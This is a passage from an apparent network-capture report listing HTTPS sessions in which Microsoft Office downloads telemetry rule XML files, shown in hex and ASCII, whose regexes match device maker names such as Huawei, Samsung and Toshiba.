M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49748	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-16849878b787bfsh7zgp804my4000000033g00000000b0y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49750	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 96e16e7c-301e-000c-53ef-25323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-r197bdfb6b42rt68rzg9338g1g00000005cg00000000c8u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49751	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fbaa75ab-301e-0020-3742-266299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010721Z-17c5cb586f65j4snyp1hqk5z2s00000005ng00000000af6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49752	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010721Z-16849878b78z2wx67pvzz63kdg00000002ug00000000pnep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49753	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 25321125-401e-0047-18d5-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-r197bdfb6b4zd9tpkpdngrtchw00000003mg000000006n4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49754	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-16849878b78hh85qc40uyr8sc800000004kg00000000dhqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49755	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 3b7c5db9-101e-0046-71c7-2791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-15b8d89586fqj7k5h9gbd8vs9800000005fg0000000066h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49756	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:22 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: e7d99bfb-a01e-001e-60e3-2649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-r197bdfb6b4mcssrvu34xzqc5400000004a000000000bm5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:22 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49758	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-16849878b78p8hrf1se7fucxk80000000580000000004ec2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49764	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010722Z-16849878b78qg9mlz11wgn0wcc00000003z0000000004h5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f5aa9a52-501e-0064-116a-271f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-17c5cb586f6mhqqb91r8trf2c8000000055g000000006nc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49763	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2897d81f-501e-005b-6528-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-r197bdfb6b46krmwag4tzr9x7c000000041g000000009uee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 